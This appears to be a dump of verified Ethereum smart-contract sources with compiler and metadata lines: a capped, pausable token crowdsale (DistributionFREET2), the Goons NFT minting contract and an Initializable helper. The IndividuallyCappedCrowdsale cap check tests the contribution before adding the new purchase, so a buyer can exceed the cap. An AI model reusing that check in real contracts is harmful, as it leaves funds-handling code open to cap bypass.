* - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor (address tokenWallet) public { require(tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address"); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this))); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @title PausableCrowdsale * @dev Extension of Crowdsale contract where purchases can be paused and unpaused by the pauser role. */ contract PausableCrowdsale is Crowdsale, Pausable { /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use super to concatenate validations. * Adds the validation that the crowdsale must not be paused. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount, uint256 tokens) internal view whenNotPaused { return super._preValidatePurchase(_beneficiary, _weiAmount, tokens); } } contract CapperRole is Context { using Roles for Roles.Role; event CapperAdded(address indexed account); event CapperRemoved(address indexed account); Roles.Role private _cappers; constructor () internal { _addCapper(_msgSender()); } modifier onlyCapper() { require(isCapper(_msgSender()), "CapperRole: caller does not have the Capper role"); _; } function isCapper(address account) public view returns (bool) { return _cappers.has(account); } function addCapper(address account) public onlyCapper { _addCapper(account); } function renounceCapper() public { _removeCapper(_msgSender()); } function _addCapper(address account) internal { _cappers.add(account); emit CapperAdded(account); } function _removeCapper(address account) internal { _cappers.remove(account); emit CapperRemoved(account); } } /** * @title IndividuallyCappedCrowdsale * @dev Crowdsale with per-beneficiary caps. */ contract IndividuallyCappedCrowdsale is Crowdsale, CapperRole { using SafeMath for uint256; mapping(address => uint256) private _contributions; mapping(address => uint256) private _caps; /** * @dev Sets a specific beneficiary's maximum contribution. * @param beneficiary Address to be capped * @param cap Wei limit for individual contribution */ function setCap(address beneficiary, uint256 cap) external onlyCapper { _caps[beneficiary] = cap; } /** * @dev Returns the cap of a specific beneficiary. * @param beneficiary Address whose cap is to be checked * @return Current cap for individual beneficiary */ function getCap(address beneficiary) public view returns (uint256) { return _caps[beneficiary]; } /** * @dev Returns the amount contributed so far by a specific beneficiary. * @param beneficiary Address of contributor * @return Beneficiary contribution so far */ function getContribution(address beneficiary) public view returns (uint256) { return _contributions[beneficiary]; } /** * @dev Extend parent behavior requiring purchase to respect the beneficiary's funding cap. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount, uint256 tokens) internal view { super._preValidatePurchase(beneficiary, weiAmount, tokens); // solhint-disable-next-line max-line-length require(_contributions[beneficiary] <= _caps[beneficiary], "IndividuallyCappedCrowdsale: beneficiary's cap exceeded"); } /** * @dev Extend parent behavior to update beneficiary contributions. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _updatePurchasingState(address beneficiary, uint256 weiAmount, uint256 tokens) internal { super._updatePurchasingState(beneficiary, weiAmount, tokens); _contributions[beneficiary] = _contributions[beneficiary].add(tokens); } } contract DistributionFREET2 is Crowdsale, AllowanceCrowdsale, PausableCrowdsale, IndividuallyCappedCrowdsale { constructor( uint256 rate, uint256 cap, address payable wallet, IERC20 token, address tokenWallet // <- new argument ) AllowanceCrowdsale(tokenWallet) // <- used here Crowdsale(rate, wallet, token) public { } }

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v0.5.17+commit.d19bba13

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000094e30e1e6a38a654745f55ed25032772f55a657a0000000000000000000000008c1b9072f78ffb869c817453de44b2101c4de64500000000000000000000000094e30e1e6a38a654745f55ed25032772f55a657a

Default

None

bzzr://0bda581b9756c940b3f0e2d4da7a44f0cec83fb3c1fadeb342c527f74e2ff88e

Goons

ERC721.sol

0x8442dd3e5529063b43c69212d64d5ad67b726ea6

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "./ERC165.sol"; import "./SafeMath.sol"; import "./Address.sol"; import "./EnumerableSet.sol"; import "./EnumerableMap.sol"; import "./Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } }

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v0.7.6+commit.7338295f

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000005168747470733a2f2f676174657761792e70696e6174612e636c6f75642f697066732f516d645534796d6e71334156666b4a6e76584447764e6e37477a71666658544b5a323457545271344e35647059392f000000000000000000000000000000

Default

MIT

ipfs://23445cf8162143c6793de150cb4465756a4b50358153e2778281180201e49c03

Goons

Goons.sol

0x8442dd3e5529063b43c69212d64d5ad67b726ea6

Solidity

// contracts/Goons // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ERC721.sol"; import "./Ownable.sol"; contract Goons is ERC721, Ownable { using SafeMath for uint256; uint public constant MAX_GOONS = 9696; uint public constant MAX_PRESALE = 696; bool public hasSaleStarted = false; bool public hasPresaleStarted = false; string public GOONS_PROVENANCE = ""; uint256 public constant goonsPrice = 69000000000000000; constructor(string memory baseURI) ERC721("Goons","GOONS") { setBaseURI(baseURI); } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function mintGoon(uint256 numGoons) public payable { require(hasSaleStarted, "Sale has not started"); require(totalSupply() < MAX_GOONS, "Sale has already ended"); require(numGoons > 0 && numGoons <= 5, "You can mint from 1 to 5 Goons"); require(totalSupply().add(numGoons) <= MAX_GOONS, "Exceeds MAX_GOONS"); require(goonsPrice.mul(numGoons) <= msg.value, "Not enough Ether sent for this tx"); for (uint i = 0; i < numGoons; i++) { uint mintIndex = totalSupply() + 1; _safeMint(msg.sender, mintIndex); } } function mintPresaleGoon(uint256 numGoons) public payable { require(hasPresaleStarted, "Presale has not started"); require(totalSupply() < MAX_PRESALE, "Presale has already ended"); require(numGoons > 0 && numGoons <= 5, "You can mint from 1 to 5 Goons"); require(totalSupply().add(numGoons) <= MAX_PRESALE, "Exceeds MAX_PRESALE"); require(goonsPrice.mul(numGoons) <= msg.value, "Not enough Ether sent for this tx"); for (uint i = 0; i < numGoons; i++) { uint mintIndex = totalSupply() + 1; _safeMint(msg.sender, mintIndex); } } function mintGiveawayGoons(uint256 numGoons) public payable onlyOwner { require(totalSupply() < MAX_GOONS, "Max Goons supply reached"); require(totalSupply().add(numGoons) <= MAX_GOONS, "Exceeds MAX_GOONS"); for (uint i = 0; i < numGoons; i++) { uint mintIndex = totalSupply() + 1; _safeMint(msg.sender, mintIndex); } } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function startSale() public onlyOwner { hasSaleStarted = true; } function startPresale() public onlyOwner { hasPresaleStarted = true; } function pauseSale() public onlyOwner { hasSaleStarted = false; } function pausePresale() public onlyOwner { hasPresaleStarted = false; } /* * Set provenance once it's calculated */ function setProvenanceHash(string memory _hash) public onlyOwner { GOONS_PROVENANCE = _hash; } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } }

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v0.7.6+commit.7338295f

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000005168747470733a2f2f676174657761792e70696e6174612e636c6f75642f697066732f516d645534796d6e71334156666b4a6e76584447764e6e37477a71666658544b5a323457545271344e35647059392f000000000000000000000000000000

Default

MIT

ipfs://23445cf8162143c6793de150cb4465756a4b50358153e2778281180201e49c03

LoanToken2

Initializable.sol

0x8ab3055722c62be1673a194cc9c7a0fbdd898eca

Solidity

// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/v3.0.0/contracts/Initializable.sol // Added public isInitialized() view of private initialized bool. // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }

